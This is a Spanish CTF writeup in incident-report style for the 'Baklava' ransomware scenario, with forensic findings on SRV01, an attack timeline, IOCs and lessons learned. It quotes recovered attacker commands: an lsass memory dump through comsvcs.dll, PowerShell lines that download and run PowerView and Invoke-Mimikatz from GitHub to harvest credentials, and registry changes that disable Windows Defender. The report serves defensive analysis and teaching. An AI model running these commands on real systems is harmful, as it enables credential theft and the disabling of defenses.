Baklava CTF Writeup – Incident Report Style (IV)

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

SRV01

Dado que es un activo crítico para la Organización, se solicita por su parte un análisis forense del servidor.

Se procesan en primer lugar los logs de eventos por Hayabusa, obteniendo los siguientes resultados de interés:

./hayabusa-2.17.0-lin-x64-gnu csv-timeline -d ../Logs -o ../hayabusa_srv01.csv

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

| Top high alerts:    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ Suspicious Eventlog Clearing or Configuration Change Activity (267) │

│ Process Memory Dump Via Comsvcs.DLL (3)   │

│ ETW Trace Evasion Activity (2)            │

│ Lsass Memory Dump via Comsvcs DLL (2)     │

│ Disable Windows Defender Functionalities Via Registry Keys (2)  |

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

Si se investigan las alertas, parece que los atacantes han creado el servicio abjtTGiR, con el objetivo de volcar la memoria del proceso lsass.exe (y de esta forma poder acceder a los hashes de las credenciales):

2024-03-22 13:07:20.583 +01:00        Service Binary in Suspicious Folder           high       SRV01.megacorp.local  Sysmon         13           23869    EventType: SetValue ¦ RegKey: HKLM\System\CurrentControlSet\Services\abjtTGiR\ImagePath ¦ Details: %%COMSPEC%% /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\system32\services.exe ¦ PID: 636 ¦ PGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ User: NT AUTHORITY\SYSTEM       RuleName: T1031,T1050 ¦ UtcTime: 2024-03-22 12:07:20.573

2024-03-22 13:07:20.813 +01:00        Process Memory Dump Via Comsvcs.DLL              high       SRV01.megacorp.local         Sysmon 1              23870    Cmdline: C:\Windows\system32\cmd.exe /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: C:\Windows\system32\services.exe ¦ LID: 0x3e7 ¦ LGUID: 5CD2ED58-580B-65FC-E703-000000000000 ¦ PID: 4420 ¦ PGUID: 5CD2ED58-7478-65FD-700B-000000001300 ¦ ParentPID: 636 ¦ ParentPGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=911D039E71583A07320B32BDE22F8E22,SHA256=BC866CFCDDA37E24DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,IMPHASH=272245E2988E1E430500B852C4FB5E18         CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.17763.1697 (WinBuild.160101.0800) ¦ IntegrityLevel: System ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\services.exe ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:07:20.811

De forma adicional, vía Sysmon se observa que los atacantes han manipulado la configuración de Windows Defender:

2024-03-22 13:06:46.123 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23854    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring ¦ Details: DWORD (0x00000001) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM         RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:46.121

2024-03-22 13:06:48.887 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23861    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet\SpyNetReporting ¦ Details: DWORD (0x00000000) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:48.887

Se confirma la acción de los atacantes en los log de eventos de Windows Defender:

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:47

Id. del evento:5001

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

Se deshabilitó el examen de Protección en tiempo real de Microsoft Defender Antivirus para detectar malware y otro software potencialmente no deseado.

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: N/A\SpyNet\LastMAPSFailureTimeString =

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\LastMAPSFailureTimeString = 2024-03-22T12:06:49Z

Se investiga cómo han podido acceder los atacantes al equipo, encontrando dos accesos del usuario sqladmin vía Escritorio Remoto:

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:45:45

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción: Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio: megacorp

Dirección de red de origen: 10.0.8.25

[Nota: esta conexión es un residuo del CTF, no hay que tenerla en cuenta].

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:05:57

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción:Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio:

Dirección de red de origen: 192.168.20.42

El primer acceso se produce justo antes de la actividad maliciosa ya observada del usuario sqladmin, lo que confirma que el ataque de Kerberoasting contra la cuenta sqladmin ha sido exitoso, y que la contraseña no era robusta ya que ha sido rota en cuestión de minutos.

Se analiza la MFT del servidor, centrándonos en los ficheros creados o modificados el 22/03/2024, encontrando un fichero de interés:

2024-03-22 12:06:38                2024-03-22 12:06:38      2024-03-22 12:06:38       2024-03-22 12:06:38       154         lnk         \Users\sqladmin\AppData\Roaming\Microsoft\Windows\Recent\windowsdefender—.lnk

Se recupera el .lnk de la carpeta de recientes del usuario sqladmin, y se pasa por la herramienta LECmd.exe, obteniendo el siguiente resultado:

LECmd version 1.5.0.0

Processing C:\Users\antonio\Desktop\windowsdefender—.lnk

Extra data found in ftp case

Source file: C:\Users\antonio\Desktop\windowsdefender—.lnk

  Source created:  2024-12-01 12:17:57

  Source modified: 2024-03-22 12:06:38

  Source accessed: 2024-12-01 12:18:37

— Target ID information (Format: Type ==> Value) —

  Absolute path: Internet Explorer (Homepage)\windowsdefender:///

  -Root folder: GUID ==> Internet Explorer (Homepage)

  -URI ==> windowsdefender:///

Los atacantes han lanzado desde Edge un acceso directo a la Seguridad del servidor, posiblemente para ver si podían deshabilitarlo.

Así mismo, se confirma la ejecución del ransomware al aparecer tanto la nota de rescate como ficheros cifrados:

2024-03-22 12:34:43                2024-03-22 12:37:53      2024-03-22 12:37:53       2024-03-22 12:37:53       1576      txt         \files\readme.txt

2024-03-22 12:34:53                2024-03-22 12:34:53      2024-01-23 11:26:30       2024-03-22 12:34:53       2097184         baklava \files\confidential\conf-2024-1.docx.baklava

Si se buscan los ficheros modificados por el usuario sqladmin el 22/03/2024, se encuentra en el fichero C:\Users\sqladmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt el historial de ejecución de Powershell, donde se observa el uso de Mimikatz para acceder a las credenciales del equipo:

Invoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -UseBasicParsing | Invoke-Expression

add-objectacl

whoami

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

ipconfig

Se concluye que los atacantes han llevado a cabo las siguientes acciones:

  1. Deshabilitado el antivirus Windows Defender.
  • Realizado un volcado de la memoria del proceso lsass.exe con la herramieta Mimikatz, con el fin de obtener las credenciales de los usuarios que habían iniciado sesión.
  • Iniciado sesión por Escritorio Remoto con el usuario sqladmin.

Conclusiones finales

Los análisis forenses realizados permiten resumir el ataque en las siguientes fases:

  1. En primer lugar, los atacantes envían un correo malicioso al usuario m.shutter (equipo WS01), conteniendo un enlace para la descarga de un fichero malicioso.
  • El fichero, al ser abierto, compromete el equipo con la herramienta de post-explotación Havoc y lanza un fichero PDF señuelo.
  • En WS01 existe una tarea que se ejecuta con privilegios y que está en un directorio sin restricciones. Los atacantes modifican dicha tarea para ejecutar un script de Powershell que les permite escalar privilegios.
  • Los atacantes dejan una persistencia en el inicio del usuario mshutter (script en el Startup) y localizan el equipo WS02, al que copian el fichero update.ps1 (otra copia de Havoc) y lo ejecutan vía PsExec comprometiendo dicho equipo.
  • En WS02 dejan de nuevo persistencia (en este caso vía una tarea programada), y realizan con la herramienta Rubeus un ataque de Kerberoasting contra la cuenta de sqladmin. 
  • Dado que inician sesión con el usuario sqladmin en SRV01 poco después, se asume que dicha contraseña ha sido vulnerable a un ataque de fuerza bruta. En este servidor los atacantes deshabilitan de forma manual el antivirus Windows Defender y proceden a volcar las credenciales en memoria con la herramienta Mimikatz.
  • Los atacantes parecen disponer al momento de las credenciales de los usuarios helpdesk y Administrador (se sospecha un posible ataque de Pass-the-Hash). Estos accesos son empleados para realizar una copia del Directorio Activo mediante el ataque DC Sync y para crear la cuenta administrad0r y hacerla administrador del dominio.
  • Los atacantes inician sesión por Escritorio Remoto con esta cuenta en DC02, instalan FIleZilla y lo emplean tanto para exfiltrar una BD de contraseñas de KeePass como para descargarse el ransomware PsRansom
  • El ataque termina con los atacantes detonando el ransomware y cifrando ficheros en SRV01.

Acciones de erradicación y recuperación

Se recomiendan las siguientes acciones de erradicación y recuperación:

  1. Búsqueda de todos los IOC en la infraestructura de la Organización, principalmente los relacionados con el C2 de Havoc y los nombres de los ficheros Powershell maliciosos.
  • Borrado de todos los ficheros maliciosos encontrados en los distintos equipos.
  • Cambio de contraseñas de todos los usuarios privilegiados de la Organización, haciendo especial hincapié en que se sigan unos criterios de robustez de las mismas. La misma acción debe llevarse a cabo con las cuentas de servicio.
  • Cambio de todas las contraseñas existentes en el fichero KeePass robado por los atacantes.
  • Cambio de contraseñas de todos los usuarios de la Organización (se recuerda que los ataques se han llevado una copia del Directorio Activo, por lo que tienen acceso a todos los hashes de las contraseñas, que pueden ser rotos con un ataque de fuerza bruta).
  • Restauración de las copias de seguridad de DC02 y SRV01 a un estado anterior al 22/03/2024 a las 12:00h UTC
  • Reinstalación completa de los puestos de usuario WS01 y WS02.

Línea temporal del ataque

Hora (UTC)EquipoFuenteUsuarioEvento
0:03:25WS01MFTN/ACreación del fichero C:\Schtask\check-updates.ps1
9:29:00WS01RAMmshutterCorreo malicioso desde contabilidadm3gac0rp@gmail.com
11:23:11WS01EventLog SysmonmshutterDescarga desde https://file.io/2UvVGDED0zrF
11:25:08WS01EventLog SysmonmshutterDescarga desde https://file.io/ufFVdF8eLeK8
11:26:00WS01EventLog SysmonmshutterDescarga de factura.iso desde https://file.io/zgsJx9hcnscg
11:26:17WS01EventLog SysmonmshutterMontaje de la ISO C:\Users\mshutter\Downloads\factura.iso
11:26:31WS01EventLog VHDMPmshutterMontaje de ISO – E:\factura\Factura.lnk
11:26:39WS01EventLog SysmonmshutterEjecución del powershell : E:\factura\f\p.ps1
11:26:44WS01EventLog SysmonmshutterMontaje de ISO – E:\Factura\f\enc.dat
11:30:22WS01MFTmshutterCreación del fichero C:\Users\mshutter\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:32:12WS01MFTN/ACreación del fichero C:\Schtask\update.dat
11:33:37WS01EventLog SysmonmshutterModificación del fichero C:\Schtask\check-updates.ps1
11:33:38WS01EventLog SysmonlocaladminEjecución de la tarea programada C:\Schtask\check-updates.ps1 (ahora maliciosa)
11:33:59WS01EventLog SysmonlocaladminEjecución del powershell C:\Schtask\check-updates.ps1
11:39:25WS01EventLog SysmonlocaladminCreacíón del fichero C:\Users\Public\update.ps1
11:39:47WS01EventLog SysmonlocaladminCreación del fichero C:\Users\Public\psexec.exe
11:40:09WS02MFTN/ACreación del fichero C:\update.ps1
11:41:06WS01EventLog SysmonlocaladminEjecución de PsExec contra WS02 ejecutando c:\update.ps1
11:41:07WS02MFTN/ACreación del fichero PSEXESVC.exe
11:42:49WS02MFTlocaladminCreación del fichero C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:43:07WS02MFTN/ACreación de la tarea programada OneDriveUpdateTask
11:47:59WS02PrefetchlocaladminEjecución de Rubeus35
11:51:27WS02PrefetchlocaladminEjecución de Rubeus contra la cuenta de sqladmin
11:51:27DC02EventLog SecuritylocaladminKerberoasting contra sqladmin desde la IP 192.168.20.42 (WS02)
11:54:39WS02PrefetchN/AEjecución de whoami.exe
12:05:57SRV01EventLog Terminal ServicessqladminInicio de sesión por Escritorio Remoto con sqladmin desde 192.168.20.42
12:06:46SRV01EventLog SysmonSYSTEMSe deshabilita Windows Defender
12:07:20SRV01EventLog SysmonSYSTEMVolcado de memoria del lsass.exe con Mimikatz (PowerSploit)
12:08:19DC02EventLog SecurityhelpdeskPosible DC Sync con Mimikatz
12:08:44DC02EventLog SysmonAdministradorCreación de la cuenta administrad0r
12:09:31DC02EventLog SysmonAdministradorSe añade el usuario administrad0r al grupo Admin de dominio
12:12:08DC02EventLog Terminal Servicesadministrad0rInicio de sesión por Escritorio Remoto de administrad0r
12:25:37DC02EventLog Sysmonadministrad0rDescarga de FileZilla portable
12:31:33DC02EventLog Sysmonadministrad0rConexión FTP contra 200.234.235.200
12:32:00DC02EventLog Sysmonftp1Exfiltración del fichero STOR management-passwords-1.kdbx
12:32:26DC02EventLog Sysmonftp1Descarga del FTP del fichero baklavasom.ps1
12:33:29DC02EventLog Sysmonadministrad0rEjecución del ransomware PsRansom C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
12:34:36SRV01EventLog SysmonN/AAparecen los primeros ficheros cifrados en SRV01
12:34:43SRV01MFTN/AAparece la primera nota de ransom  C:\files\readme.txt
14:30:00N/AOrganizaciónN/APrimer contacto de la Organización con nosotros

Impacto

El impacto del incidente se considera como MEDIO para la Organización, ya que se han cifrado únicamente los ficheros de un servidor de la misma (del que se disponía de copias de seguridad), y la exfiltración de información se limita a un fichero de contraseñas (que ya han sido cambiadas como parte del proceso de recuperación).

Atribución

El incidente no deja evidencias suficientes como para poder realizar una atribución correcta del mismo, ya que el ransomware es un proyecto de GitHub libremente accesible.

El equipo de ciberinteligencia confirma que ninguno de los IOC o de las TTP observadas a lo largo del incidente permiten asociar el incidente a ninguno de los grupos de ransomware activos en la actualidad.

Lecciones aprendidas

El incidente deja las siguientes lecciones aprendidas:

  • Mejora de las capacidades de detección de correos maliciosos: se recomienda desplegar nuevas capacidades que permiten identificar correos con contenido malicioso (file.io es empleada con frecuencia por los atacantes debido a su carácter efímero, que dificulta el análisis).
  • Concienciación de los usuarios: así mismo, se deberían realizar los esfuerzos necesarios para dotar a los usuarios de la Organización de buenas prácticas de ciberseguridad, especialmente con respecto al uso seguro del correo electrónico.
  • Configuración correcta de permisos de directorios: los atacantes pudieron escalar privilegios al poder modificar una tarea privilegiada que estaba en un directorio no privilegiado. Se recomienda revisar y configurar correctamente estas carpetas.
  • Incremento de la robustez de las contraseñas: el ataque ha podido progresar en gran medida porque las contraseñas de los usuarios privilegiados no eran robustas. Se recomienda establecer de forma general políticas de contraseñas robustas.
  • Despliegue de un EDR: se recomienda el despliegue de una solución EDR (Endpoint Detection & Response), ya que posiblemente habría podido bloquear y alertar de una o varias partes de la cadena del ataque.

Anexo A: IOC

IP

200.234.235[.]200

URL

https://baklava014.duckdns[.]org/

https://file[.]io/zgsJx9hcnscg

https://file[.]io/2UvVGDED0zrF

Puertos no habituales

8800

Usuarios maliciosos

administrat0r

Usuarios afectados por los atacantes

sqladmin

helpdesk

localadmin

Ficheros

OneDriveUpdater.ps1

Update.ps1

Update.dat

Check_updates.ps1

Factura.iso

p.ps1

\baklavasom.ps1

FAQ (del meta, no del incidente)

Antonio, ¿le tienes manía a las imágenes?

No, soy un fan de las imágenes, pero cuando aportan algo. Muchos informes DFIR tienen muchas imágenes… pero para que entren en el Word, se reducen al 25% y no se ve absolutamente nada. Mucho mejor el texto para estos casos.

Además, el texto tiene una ventaja sobre las imágenes: es BUSCABLE. Es decir, dentro de 4 meses tienes otro incidente con este grupo de ransomware, y es tan fácil como abrir de nuevo el documento y darle a buscar (y así no tienes que ir mirando en 94 páginas de informe dónde está el nombre del fichero que te sonaba que había salido en este informe… o en uno de otros 14).

Oye, veo que esto es como una historia ¿No suelen ser los informes de incidentes mucho más parcos en plan “pasó esto aquí, tal día y de esta forma”?

La redacción de informes DFIR tiene dos corrientes filosóficas: el modo bitácora (donde se cuenta como una historia las acciones realizadas) y el modo informe de resultados (donde se cuenta lo que pasó en orden cronológico, aunando todos los trabajos).

Ambos enfoques son correctos: el modo bitácora es muy útil porque permite determinar qué se hizo en cada momento, y porqué se tomaron algunas decisiones en cada momento (por lo que no explica solo el incidente sino también la propia respuesta al mismo).

El modo informe de resultados es muy útil en incidentes muy grandes, en los que un modo bitácora haría prácticamente imposible el seguimiento, y se hace mucho más legible un orden (por ej: equipo a equipo).

Speak Your Mind

*